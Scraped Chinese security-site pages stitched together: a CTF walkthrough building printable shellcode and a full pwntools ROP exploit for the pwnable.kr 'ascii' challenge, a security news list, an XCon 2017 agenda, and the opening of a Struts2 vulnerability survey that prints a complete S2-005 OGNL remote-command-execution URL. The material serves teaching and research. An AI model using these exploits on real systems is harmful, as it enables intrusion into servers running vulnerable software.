>>> buf += “x30x6ex6fx79x48x63x76x32x38x68x67x73x37”
>>> buf += “x70x67x70x57x70x43x43x63x58x33x30x62x77”
>>> buf += “x76x33x6ex69x4dx31x38x4dx4bx30x41x41”
>>> buf
‘IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIqzVk2xj9qBrFBHdmcSoyJGsX4od30h303XDoBBrI0noyHcv28hgs7pgpWpCCcX30bwv3niM18MK0AA’
测试生成的shellcode时会发生段错误。因为执行shellcode时ECX中的值并不是shellcode的地址。

gdb-peda$ p $eip
$3 = (void (*)()) 0x804a040
gdb-peda$ p $ecx
$4 = 0x0
此时需手动将ecx的值设置为0x804a040,然后继续执行。

gdb-peda$ p $ecx
$4 = 0x0
gdb-peda$ set $ecx=0x804a040
gdb-peda$ c
Continuing.
process 14672 is executing new program: /bin/dash
[New process 14689]
process 14689 is executing new program: /bin/dash
$ ls
[New process 14690]
process 14690 is executing new program: /bin/ls
peda-session-ls.txt peda-session-shellcode.txt shellcode shellcode.c
示例

题目下载地址:

https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr/ascii

使用ida载入ELF文件查看伪代码。发现程序先分配了一块内存,然后向内存中写长度为499的数据(Printable),在函数vuln中使用strcpy时未检测源字符串长度发生栈溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *ptr; // ebx@6
char v5; // [sp+4h] [bp-30h]@1
int base; // [sp+28h] [bp-Ch]@1
unsigned int offset; // [sp+2Ch] [bp-8h]@4
base = mmap(0x80000000, 4096, 7, 50, -1, 0);
if ( base != 0x80000000 )
{
puts(“mmap failed. tell admin”);
exit(1);
}
printf(“Input text : “, v5);
offset = 0;
do
{
if ( offset > 399 )
break;
ptr = (_BYTE *)(base + offset);
*ptr = getchar();
++offset;
}
while ( is_ascii(*ptr) );
puts(“triggering bug…”);
return (int)vuln();
}
char *vuln()
{
char dest; // [sp+10h] [bp-A8h]@1
return strcpy(&dest, (const char *)0x80000000);
}
思路:

1.生成BufferRegister为EAX的shellcode

2.构造Alphanumeric Instructions设置寄存器EAX为shellcode的地址

3.将Printable shellcode写入mmap的内存中

4.构造ROP Chain跳入0x80000000

5.执行shellcode

STEP1

使用ldd查看程序并未加载动态库可以确定本程序是静态编译的。静态编译的程序通常有大量的ROP Gadgets供我们使用,不过题目要求输入的字符为可打印字符,这就需要Gadgets的地址是Printable的。

gdb-peda$ info proc map
process 15655
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x80ed000 0xa5000 0x0 /home/user/pwn/pwnkr/ascii/ascii
0x80ed000 0x80ef000 0x2000 0xa5000 /home/user/pwn/pwnkr/ascii/ascii
0x80ef000 0x8113000 0x24000 0x0 [heap]
0x55555000 0x55557000 0x2000 0x0 [vvar]
0x55557000 0x55559000 0x2000 0x0 [vdso]
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
可以看出代码段中的地址0x080e均是不可打印字符,所以不能在代码段中搜索Gadgets。不过可以使用ulimit -s unlimited将vDSO的基址固定来找vDSO中的Gadgets(mmap及linux地址空间随机化失效漏洞)。

使用命令dump binary memory ./vDsodump 0x55557000 0x55559000将vDSO所在的内存空间dump出来,当程序执行到ret观察栈中的数据并寻找可用的数据。

gdb-peda$ stack 15
0000| 0xffffd63c –> 0x8048fcb (:mov ebx,DWORD PTR [ebp-0x4])
0004| 0xffffd640 –> 0x80c562e (“triggering bug…”)
0008| 0xffffd644 –> 0x1000
0012| 0xffffd648 –> 0x7
0016| 0xffffd64c –> 0x32 (‘2’)
0020| 0xffffd650 –> 0xffffffff
0024| 0xffffd654 –> 0x0
0028| 0xffffd658 –> 0xffffd704 –> 0xffffd839 (“/home/user/pwn/pwnkr/ascii/ascii”)
0032| 0xffffd65c –> 0x1
0036| 0xffffd660 –> 0x80496e0 (<__libc_csu_fini>:push ebx)
0040| 0xffffd664 –> 0x0
0044| 0xffffd668 –> 0x80000000 –> 0xa31 (‘1n’)
0048| 0xffffd66c –> 0x2
0052| 0xffffd670 –> 0x0
0056| 0xffffd674 –> 0x0
明显看出pop3_ret + pop3_ret + pop2_ret可以让程序跳入0x80000000执行shellcode。然后使用rp++在dump出的vDSO内存空间中搜索ROP Gadgets。在offset中寻找Printable的Gadgets发现有pop3_ret(0x00000751)和pop2_ret(0x00000752),这样就可以构造出跳入0x80000000的ROP Chain。

STEP2

使用metasploit生成BufferRegister为EAX的shellcode,现在需要编写Printable Instructions将EAX设置为shellcode起始的地址。opcode为Alphanumeric的指令如下表所示

http://p1.qhimg.com/t0188635bd1502d37e8.png

r(register)代表寄存器,r8代表8位寄存器例如alah等

m(memory)代表内存

imm(immediate value)代表立即数

rel(relative address)代表相对地址

r/m(register or memory)代表内存或寄存器,可参考ModR/M与SIB编码

在程序跳入shellcode中(0x80000000)时,各个寄存器的值如下。

gdb-peda$ info r
eax 0xffffd5900xffffd590
ecx 0x800000d00x800000d0
edx 0xffffd6600xffffd660
ebx 0x800000d70x800000d7
esp 0xffffd66c0xffffd66c
ebp 0xa6161610xa616161
esi 0x414141410x41414141
edi 0x414141410x41414141
eip 0x800000000x80000000
可以使用XOR AL, imm8清除EAX的低7bit,再用过DEC EAX/AX完成EAX的高位退位,多次重复后可以得到需要的地址(本实例仅需重复一次)。

# Alphanumeric
push ecx //Q
pop eax //X => eax = 0x800000d0
xor al,0x50 //4P => eax = 0x80000080
push eax //P
pop ecx //Y
dec ecx //I => ecx = 0x8000007f
push ecx //Q
pop eax //X
xor al,0x74 //4t => eax = 0x8000000b => shellcode begin = 0x80000000 + len(QX4PPYIQX4t)
得到的指令序列为QX4PPYIQX4t。但题目中并不要求Alphanumeric而是要求Printable,所以可以使用sub完成寄存器数据的修改。

>>> asm(“sub eax,0x41”)
‘x83xe8A’
>>> asm(“sub ebx,0x41”)
‘x83xebA’
>>> asm(“sub ecx,0x41”)
‘x83xe9A’
>>> asm(“sub edx,0x41”)
‘x83xeaA’
>>> asm(“sub al,0x41”)
‘,A’
>>> asm(“sub bl,0x41”)
‘x80xebA’
>>> asm(“sub cl,0x41”)
‘x80xe9A’
>>> asm(“sub dl,0x41”)
‘x80xeaA’
能大段修改的寄存器只有EAX且范围为0x20-0x7e,可以分两步修改。最终使用的Shellcode头部为

# Printable
push ebx //S
pop eax //X => 0x800000d7
sub al, 0x7e //,~ => 0x80000059
sub al, 0x53 //,S => 0x80000006 => shellcode begin = 0x80000000 + len(SX,~,S)
和shellcode拼接起来就获得了最终的exploit

from pwn import *
pop3_ret = 0x00000751 # : pop ebx ; pop esi ; pop ebp ; ret ; (1 found)
pop2_ret = 0x00000752 # : pop esi ; pop ebp ; ret ; (1 found)
# 0x1f < c < 0x7f vdso_base = 0x55557000 offset = 172 #payload = "SX,~,S" # push ebx;pop eax;sub al,0x7e;sub al,0x53 payload = "QX4PPYIQX4t" payload += "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0" payload += "A00ABAABTAAQ2AB2BB0BBXP8ACJJIS" payload += "ZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS" payload += "0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE" payload += "22I2NFOSCRHEP0WQCK9KQ8MK0AA" payload = payload.ljust(offset, "x41") # ROP CHAIN payload += p32(vdso_base + pop3_ret) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(vdso_base + pop3_ret) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(vdso_base + pop2_ret) payload += p32(0x41414141) payload += "aaa" io = process("./ascii") io.sendline(payload) io.interactive() Refer https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/ http://note.heron.me/2014/11/alphanumeric-shellcode-of-execbinsh.html https://nets.ec/Alphanumeric_shellcode https://nets.ec/Ascii_shellcode http://www.vividmachines.com/shellcode/shellcode.html#ps http://inaz2.hatenablog.com/entry/2014/07/11/004655 http://inaz2.hatenablog.com/entry/2014/07/12/000007 http://inaz2.hatenablog.com/entry/2014/07/13/025626 http://blog.sina.com.cn/s/blog_67b113a101011fl9.html http://www.c-jump.com/CIS77/CPU/x86/X77_0080_mod_reg_r_m_byte_reg.htm 本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/85871 安全客 - 有思想的安全新媒体 安全知识 WeaponX 分享到: QQ空间 新浪微博 微信 QQ facebook twitter |推荐阅读 ETW注册表监控windows内核实现原理 2019-02-21 14:30:47 WordPress 5.0.0远程代码执行漏洞分析 2019-02-21 11:30:53 Lucky双平台勒索者解密分析 2019-02-21 10:45:27 off by null漏洞getshell示例 2019-02-20 16:59:40 |发表评论 发表你的评论吧 昵称 带头大哥 换一个 |评论列表 还没有评论呢,快去抢个沙发吧~ WeaponX 这个人太懒了,签名都懒得写一个 文章 5 粉丝 3 TA的文章 【漏洞分析】MS17-010:深入分析“永恒之蓝”漏洞 2017-06-15 11:15:01 【技术分享】NSA武器库:CVE-2017-9073 EsteemAudit分析 2017-06-05 14:50:26 【技术分享】生成自己的Alphanumeric/Printable shellcode 2017-04-12 09:54:26 【技术分享】跟我入坑PWN第二章 2016-12-26 14:33:12 【技术分享】跟我入坑PWN第一章 2016-12-16 13:16:25 输入关键字搜索内容 相关文章 360 | 数字货币钱包APP安全威胁概况 以太坊智能合约安全入门了解一下(下) 对恶意勒索软件Samsam多个变种的深入分析 360 | 数字货币钱包安全白皮书 Json Web Token历险记 揪出底层的幽灵:深挖寄生灵Ⅱ 简单五步教你如何绕过安全狗 热门推荐 安全客Logo 安全客 安全客 关于我们 加入我们 联系我们 用户协议 商务合作 合作内容 联系方式 友情链接 内容须知 投稿须知 转载须知 合作单位 安全客 安全客 Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 Loading...0daybank

vdoo

vdoo
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
6月19日安全热点 – VDOO发现了几个Axis摄像头中的漏洞
阅读量 24528 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-06-19 09:44:49

漏洞 Vulnerability
phpMyAdmin 4.x远程代码执行
http://t.cn/RB1cjdQ
CVE-2018-12326:Redis-cli缓冲区溢出
http://t.cn/RB1cje5
安全工具 Security Tools
PE Linux:Linux提权工具
http://t.cn/RB1cjB1
安全资讯 Security Information
web安全开发指南中文版首发
http://t.cn/RB1cjk2
美CERT发布关于朝鲜APT的新预警
http://t.cn/RBmgSnN
VDOO发现了几个Axis摄像头中的漏洞
http://t.cn/RB1cjsl
研究人员发现Google Home/Chromecast中的位置数据泄漏漏洞
http://t.cn/RB1cYPE
安全研究 Security Research
智能硬件入门-小知识汇总
http://t.cn/RBnBYBr
HTTP.ninja nccgroup的研究总结
http://t.cn/RB1cYZ0
Interzer对APT15近期攻击的研究
http://t.cn/RB9NHgq
金融企业数据安全建设实践系列(二)
http://t.cn/RB1cYAs
恶意软件 Malware
bitdefender对Rootkit Adware的详细分析
http://t.cn/RB1cYLH
Malwarebytes Labs对SamSam勒索软件的分析
http://t.cn/RB1cYUq
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/148379
安全客 – 有思想的安全新媒体
安全资讯 安全漏洞 安全研究

360CERT 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
神奇小子
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
360CERT
360CERT是360成立的针对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
文章
441
粉丝
64
TA的文章
CVE-2018-2025[0-3] WinRAR 代码执行漏洞预警
2019-02-21 11:45:21
2月21日每日安全热点 – WinRAR中存在19年的代码执行漏洞
2019-02-21 10:25:05
2月20日每日安全热点 – 社工妹子跟踪狂
2019-02-20 09:59:25
2月19日每日安全热点 – APT-C-36: 针对哥伦比亚政府机构和公司的持续攻击
2019-02-19 09:45:56
Snapd Ubuntu 提权分析
2019-02-18 14:54:38
输入关键字搜索内容
相关文章
2月21日每日安全热点 – WinRAR中存在19年的代码执行漏洞
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
“高价收购私人微信号”的局中局
2月20日每日安全热点 – 社工妹子跟踪狂
2月19日每日安全热点 – APT-C-36: 针对哥伦比亚政府机构和公司的持续攻击
2月18日每日安全热点 – IDN Visual Security Deep Thinking
2月17日每日安全热点 – Facebook CSRF保护绕过,导致帐户接管
热门推荐
文章目录
漏洞 Vulnerability
安全工具 Security Tools
安全资讯 Security Information
安全研究 Security Research
恶意软件 Malware
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

安全焦点

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【8月23日-24日】XCon2017安全焦点信息安全技术峰会(北京)
阅读量 49642 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-08-22 10:08:22
http://p2.qhimg.com/t01b431296251905682.png

会议介绍

XCon安全焦点信息安全技术峰会,是由北京未来安全信息技术有限公司主办的国内最知名、最权威且举办时间最长的安全峰会之一;会议秉承一贯的严谨求实作风,竭诚欢迎热爱信息安全技术的专家积极投稿参加,与安全行业面对面交流,共同探讨,深入研究!

会议官网:http://xcon.xfocus.net/

会议时间

2017年8月23日-24日

会议地点

北京励骏酒店

http://p6.qhimg.com/t011d4285122601cde0.jpg

峰会议程

https://p4.ssl.qhimg.com/t011e0c8f49db1a349d.png

议题简介

议题:Evilsploit – 嵌入式系统黑客的硬件杀器

演讲人:Chui Yew Leong & 万明明,广州腾御安公司的系统架构师 & 高级硬件工程师

议题概要:Evilsploit是一款针对嵌入式系统硬件的黑客杀器。在传统硬件黑客的情况下,需要利用两款不同的工具分别对目标硬件进行总线识别与操作,没有丝毫兼容与整合的空间。因此,硬件黑客过程一直以来不能实现自动化。另外,传统意识上的硬件黑客手段总离不开大量重复性的手工操作,这种情形不但有着极高出错的可能性,也会大大打击偏软黑客在进行硬件黑客之初的满腔热诚与信心。

事实上,只要对硬件调试口踏出一小步,已经足以让偏软黑客进行大部分的硬件黑客行为,理由是现行的绝大部分硬件都是由软件驱动的。基于以上缘由,Evilsploit的主要目的是对总线识别与操作过程实现最大程度的整合。通过单一的硬件工具,可以在成功完成总线识别过程之后把相对的正确连接配置模式转发给桥接处理部分以让上层调试工具比如OpenOCD、UrJtag、或Minicom直接进行操控。所以,只要利用Evilsploit,硬件盲也能试着进行硬件黑客行为。此外,Evilsploit也可以作为综合性的辅助工具以配合传统的嵌入式硬件与软件攻击,比如侧信道(SCA)、错误注入(FI)、模拟运行、和静态分析,以实现更为高级的攻击。

议题:智能汽车“神经元”之信息管道安全观

演讲人:杨卿 独角兽安全团队(UnicornTeam)创始人,360无线电安全研究部负责人

http://p1.qhimg.com/t01ec06cefad834e1c9.png

议题概要:智能汽车体内的“神经元”(电子控制单元)之间靠总线牢固的连接着,各种信息得以高速的传递。这其中的一部分“神经元”还会接收内部总线之外的来自于外界的信息数据,所以针对于智能汽车安全的一个新的攻击方向便油然而生。本议题将讲解当攻击者在还未渗透进智能汽车体内时,会使用哪些攻击方式来过扰乱、控制智能汽车上这些具备感知外界信息“神经元”。

议题:蓝牙4.0加密通信过程的流量分析攻击威胁与防护

演讲人:敖世亮(ID:虹猫) 安天微电子与嵌入式安全研发中心

http://p5.qhimg.com/t0152d1fad1e0299930.png

议题概要:随着物联网时代的开启,低功耗蓝牙设备的部署与应用日益广泛。但随着软件无线电技术的发展,在机器学习、数据分析技术的推动下,针对物联网通信的攻击不再仅限于传统嗅探破解,通信信道的流量分析已经成为新的安全威胁,可以在捕获通信数据包序列但无需解密的情况下,达到探究当前用户可能进行的通信行为,进而用于行为特征识别、攻击对象身份判定、行动计划推测的效果。

本议题将简述蓝牙4.0通信的安全机制及机器学习预测模型的构建流程,以蓝牙4.0通信过程为例,通过无线电设备跟踪跳频、捕获并破解蓝牙键盘键入数据,将加密通信数据、破解后的明文信息与同时记录的流量特征进行对比分析,探究三者联系和由此可能带来的信息泄露威胁,并作简单实例演示,展现安全风险。

议题:面向safari浏览器的漏洞挖掘

演讲人:罗通博,博士,派拓网络资深安全研究员;屈波,博士,派拓网络杰出工程师,移动互联网系统与应用安全国家工程实验室特聘专家

http://p8.qhimg.com/t01bb03a010e311920c.png

议题概要:Fuzzing是一种寻找软件漏洞的高效手段。在这个议题中,演讲者将向大家分享一类相对缓慢但是无需过多人为干预与调整的fuzzing方法,详细介绍如何构造Safari浏览器下包含DOM,JavaScript以及WebGL等内容的测试页面。同时还会公开一套完整的,无干预运行了一年且还在不断发现漏洞的fuzzing代码和通用模板。

议题:How I generally bypassed CFG

演讲人:杨军锋,DiDi Labs安全研究员

http://p8.qhimg.com/t0174ab32cd3147cde8.png

议题概要:在过去这些年,微软引入了很多种利用缓解措施以抬高攻击的成本。在Windows 10中,微软引入了Control Flow Guard (CFG)缓解措施,进一步加大了Windows平台上的利用攻击难度。然后,正如历史所示,没有什么完美的东西,尽管CFG已经存在了很久而且很多研究人员做了很多工作来完善它,但还是存在这样或那样的缺陷。

在这个演讲中,将会谈谈绕过CFG的一些技术,只要能获得读写能力——在现代利用中这基本是标配,就能组合这些技术来绕过CFG。还会分享一些小招数,它们能被用在各种各样的软件里,比如Edge 浏览器,IE, Adobe Reader, Flash以及Office等等。

议题:智能网联汽车安全之特斯拉中的CAN网络

演讲人:张文凯,腾讯科恩实验室安全研究员,目前主要负责车辆CAN网络安全测试与车载固件分析;聂森,腾讯科恩实验室安全研究员,目前主要负责科恩实验室的智能汽车安全研究工作。

http://p8.qhimg.com/t015cae5aa8903e539c.png

议题概要:汽车行业正处于一个迅猛发展的时期,车联网概念逐渐深入人心,安全问题也在引起广泛重视。智能网联汽车不仅仅涉及到财产与信息安全,更重要的是其被入侵后可能存在的人身安全危害。

本议题以特斯拉为例,首先介绍2016年科恩实验室远程入侵至特斯拉CAN总线的攻击链漏洞细节,着重介绍在对特斯拉CAN网络研究中的一些安全测试方法与思路,同时在议题中也会分享对于目前CAN网络安全的一些见解。

议题:智能网联汽车安全 – 特斯拉中的CAN网络

演讲人:聂森,腾讯科恩实验室安全研究员。目前主要负责科恩实验室的智能汽车安全研究工作,包括代表性架构的整车安全攻防,嵌入式领域的程序分析,以及汽车在网联化、电动化与智能化过程中涉及的前沿安全研究领域探索等。

http://p6.qhimg.com/t0165ae1352979ad1bf.png

议题概要:汽车行业正处于一个迅猛发展的时期,车联网概念逐渐深入人心,安全问题也在引起广泛重视。智能网联汽车不仅仅涉及到财产与信息安全,更重要的是其被入侵后可能存在的人身安全危害。

本议题以特斯拉为例,首先介绍2016年科恩实验室远程入侵至特斯拉CAN总线的攻击链漏洞细节,着重介绍在对特斯拉CAN网络研究中的一些安全测试方法与思路,同时在议题中也会分享对于目前CAN网络安全的一些见解。

议题名称:Fixed, or not fixed, that is the question

演讲人:张云海,绿盟科技安全研究员。从事信息安全行业十年以上,主要研究方向是漏洞利用的检测与防护。在BlackHat、BlueHat等安全会议上进行过主题演讲。自2014年起连续4年获得微软 Mitigation Bypass Bounty。

http://p1.qhimg.com/t0102a69c8b8f999136.png

议题概要:近年来,微软持续的补充与完善 Windows 中的缓解措施,构建了一个行之有效的防御体系。相应的,缓解措施的绕过逐渐成为漏洞利用过程中最为重要的一个环节,各种新颖的绕过技术不断涌现。为了保持缓解措施的有效性,微软会及时的修复已知的绕过技术。由于可用性、兼容性、稳定性、性能等方面的原因,这是一件相当复杂与困难的工作,很多时候修复方案本身并不完善。

本议题通过分析两个实例,利用 ATL Thunk Pool 与利用 Chakra JIT Engine,来阐述如何寻找绕过技术修复方案中潜在的缺陷,从而再次绕过所有缓解措施。

议题:面向safari浏览器的漏洞挖掘

演讲人:罗通博、屈波

罗通博,博士,派拓网络资深安全研究员,主要技术兴趣包括浏览器安全,手机安全与物联网等。他致力于入侵及防御技术,基于深度学习的安全检测技术。曾多次在各大顶级安全会议上(BlackHat, Virus Bulletin)分享自己的研究成果。

http://p3.qhimg.com/t01bb03a010e311920c.png

屈波,博士,派拓网络杰出工程师,移动互联网系统与应用安全国家工程实验室特聘专家,主要研究兴趣包括各类系统与软件安全,移动与互联网安全等。

http://p4.qhimg.com/t01e807fcdc11c87740.png

议题概要:Fuzzing是一种寻找软件漏洞的高效手段。在这个议题中,我们将和大家分享一类相对缓慢但是无需过多人为干预与调整的fuzzing方法,详细介绍如何构造Safari浏览器下包含DOM,JavaScript以及WebGL等内容的测试页面。同时我们还会公开一套完整的,无干预运行了一年且还在不断发现漏洞的fuzzing代码和通用模板。

议题:Finding Needles in a Haystack

演讲人:汪列军,Xfocus早期成员,360企业安全集团高级研究员,信息安全领域超过十五年的经验,专注于漏洞分析与挖掘、入侵检测与防护、恶意代码与APT事件分析。

http://p6.qhimg.com/t01a08a5716c20be330.png

议题概要:针对企业组织的定向攻击是一种严重的威胁,攻击者利用多种脆弱性和工具(0day、定制远控等)来绕过防护控制目标系统,执行窃密和破坏。安全工业界每日面临数以百万计的恶意代码,如何从海量的数据中识别定向攻击相关的样本构成一个很大的挑战。 我们知道鱼叉邮件是针对性攻击的主要载荷投递手段,攻击者向目标发送带有捆绑了已知或未知漏洞利用的Office文档,不小心的受害者极有可能点击打开从而触发漏洞导致终端被控制。在360对定向攻击的分析实践中,我们认为在某些场景下通过对漏洞利用相关的Shellcode进行聚类分析以发现特殊的样本是一个有效的方法。Shellcode是漏洞利用过程中一个相对独立的攻击组件,一般作为获取系统控制的第一阶段,其主要功能为获取更多的恶意组件,通过安装后门最终实现持久化以保持长期控制。Shellcode作为某些类型的漏洞攻击中的必要组件,其反映了恶意代码的某种独特性,发现特殊的样本再投入人力进行深入分析是高效费比的处理方案。 本议题中主要的处理对象是RTF/DOC文档,因为这类文件的漏洞被频繁地用于针对性的攻击。首先,我会讨论如何从RTF文档中检测及抽取Shellcode;其次,介绍Shellcode的具体聚类方法;最后,我会分析处理完成以后的结果,通过开源信息进行验证并展示分析当时未知的可疑案例。

议题:汽车感知的信任危机

演讲人:闫琛,浙江大学博士生,智能系统安全实验室(USSLab)成员,主要研究方向为汽车安全和物联网安全。他是Tesla Motors信息安全奖章获得者,曾在DEFCON、PoC、GeekPwn等安全大会上发表演讲,所在团队两次进入特斯拉名人堂。

http://p4.qhimg.com/t01f183c03add891ab3.png

议题概要:在汽车这样复杂的控制系统中,传感器是不可或缺的一环,自动驾驶汽车更是极度依赖主动式传感器进行环境感知。作为系统中最底层的数据来源,传感器通常被认为是可信的,并且用于其他系统的诊断。然而问题是,传感器真的安全吗?一旦传感器数据变得不可信,汽车控制系统会具有极大的不稳定性,将造成严重的安全隐患,而这一点在自动驾驶汽车上格外突出。本次演讲将从传感器的角度,分析(自动驾驶)汽车的安全隐患,介绍对被动式传感器以及主动式传感器的安全性与可信性的研究,包括加速度传感器、超声波传感器、毫米波雷达和摄像头等。我们将介绍对这些传感器的非接触式攻击,并展示在Tesla Model S等真实系统上的实验效果。

议题:挖掘隐藏在堆栈中的宝藏—通过栈数据修改绕过控制流保护(CFG)

演讲人:孙冰,孙冰是一位资深的信息安全研究员,现就职于英特尔安全事业部(原迈克菲),主管其入侵防御产品下的安全研究团队。他拥有丰富的操作系统底层和信息安全技术的研发经验,尤其对于高级漏洞攻防、木马后门检测、虚拟化技术以及固件安全等方面有比较深入的研究,并曾在XCon、Black Hat、CanSecWest等国际知名安全会议上做过演讲。

http://p6.qhimg.com/t01824a832456a688a8.png

议题概要:控制流保护(CFG)是一种防止漏洞利用程序劫持程序控制流的漏洞利用缓解机制。在目前所有已知的CFG绕过方法中最常用的是修改堆栈中函数返回地址。厂商们现已开始着手同时从软硬件两方面解决这个问题,相信在不久的将来该绕过方法会彻底失效。最为漏洞研究者,我们于是不禁要问堆栈中除了函数返回地址,难道就没有其它可以利用的数据吗?经过深入的研究,我们发现除了函数返回地址外堆栈中确实还存在一些其它有意思的数据可以被用来绕过CFG,但相比起修改函数返回地址,它需要更高级的利用技巧。在这个议题中,我们将通过一些有趣的例子来展示我们的研究成果。我们会介绍一些应用在不同场景下稳定的堆栈地址泄露和利用技巧,例如纯数据攻击和竞争条件结合技术。此外,我们还将在最新的Windows 10内部预览版上进行现场攻击演示。

活动发布、推广及现场报道请联系安全客 duping@360.cn

商务合作,文章发布请联系 dengjinling@360.cn
安全活动

包子 官方小编 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
杨教授
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
包子
此人是个小可爱呀小可爱
文章
154
粉丝
16
TA的文章
人海中,我在寻找你 ——360代码安全实验室寻人启事
2017-12-26 17:17:00
360网络安全部内推专场(1天知结果,3天拿offer!)
2017-12-25 19:20:31
完美世界安全应急响应中心(PWSRC)上线啦!
2017-12-25 17:54:50
好书推荐 | Android应用安全防护和逆向分析(赠书福利又来了!)
2017-12-20 16:31:11
多地招聘 | 360华东安服招人,不加班,美滋滋~
2017-12-18 18:59:14
输入关键字搜索内容
相关文章
新课特惠 | 一文读懂人工智能、机器学习、深度学习、强化学习的关系
好课推荐,转发有礼 |《一篇文章了解云安全领域的新宠CCSK》
精彩回顾 | 2019数字中国网络安全生态峰会
58赶集集团第一届安全技术沙龙
SRC白帽子技术沙龙 | 安全+ WiFi万能钥匙SRC 苏宁SRC
陌陌惊喜 | 双倍积分活动来袭,单个漏洞基础奖励可达两万元
漏洞暴击!︱双11花掉的钱BUGX给你补回来
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

struts2漏洞

struts2漏洞
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】浅谈struts2历史上的高危漏洞
阅读量 85876 | 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-09-04 15:08:06
http://p1.qhimg.com/t01e0225f1ed0463bd6.jpg

作者:Carpediem

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

Apache Struts2作为世界上最流行的Java Web框架之义,广泛应用于教育、金融、互联网、通信等重要行业。它的一个高危漏洞危害都有可能造成重大的互联网安全风险和巨大的经济损失。本文旨在对以往的高危漏洞形成原因、受影响的版本以及相应的利用方式进行一次梳理,若有不完善的地方欢迎大家指正。

先来介绍一些基本知识:Struts1是全世界第一个发布的MVC框架,Struts2实在webwork和Struts1的基础上开发的,Struts2和webwork底层都用到了xwork。并且整合了一种更为强大的表达式语言:ognl。基于Struts2框架开发项目的时候,需要引用一些基础的jar包,在Struts 2.0.*的时候,Struts2的必备jar包需要如下5个:

struts2-core-x.x.jar —————–struts2的核心包
Freemarker-x.x.jar———————FreeMarker是一个模板引擎,一个基于模板生成文本输出的通用工具
commons-logging.jar ——————通用日志记录包
ognl-x.x.jar ——————— ———支持ognl表达式
xwork-x.x.jar ——————— ——–xwork的包 由于Struts2是由xwork的延伸 有些类依然关联着 xwork的类
之后的版本的struts2可能还需要其他的jar包,比如commons-fileupload-1.2.1.jar 支持文件上传的jar包。

apache(http://struts.apache.org/docs/security-bulletins.html)历史上涉及的高危漏洞如下:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,S2-019、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、DevMode。

一 S2-003、S2-005、S2-007

S2-003

受影响版本:低于Struts 2.0.12

Struts2会将HTTP的每个参数名解析为ognl语句执行(可理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,然后通过unicode编码(u0023)或8进制(43)即绕过了安全限制。

S2-005

受影响版本:低于Struts 2.2.1

对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,安全配置被绕过再次导致了漏洞。

EXP:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?%28%2743_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%2743context[%27xwork.MethodAccessor.denyMethodExecution%27]75false%27%29%28b%29%29&%28%2743c%27%29%28%28%2743_memberAccess.excludeProperties75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%2743mycmd75%27whoami%27%27%29%28d%29%29&%28h%29%28%28%2743myret75@java.lang.Runtime@getRuntime%28%29.exec%2843mycmd%29%27%29%28d%29%29&%28i%29%28%28%2743mydat75new40java.io.DataInputStream%2843myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%2743myres75new40byte[51020]%27%29%28d%29%29&%28k%29%28%28%2743mydat.readFully%2843myres%29%27%29%28d%29%29&%28l%29%28%28%2743mystr75new40java.lang.String%2843myres%29%27%29%28d%29%29&%28m%29%28%28%2743myout75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%2743myout.getWriter%28%29.println%2843mystr%29%27%29%28d%29%29
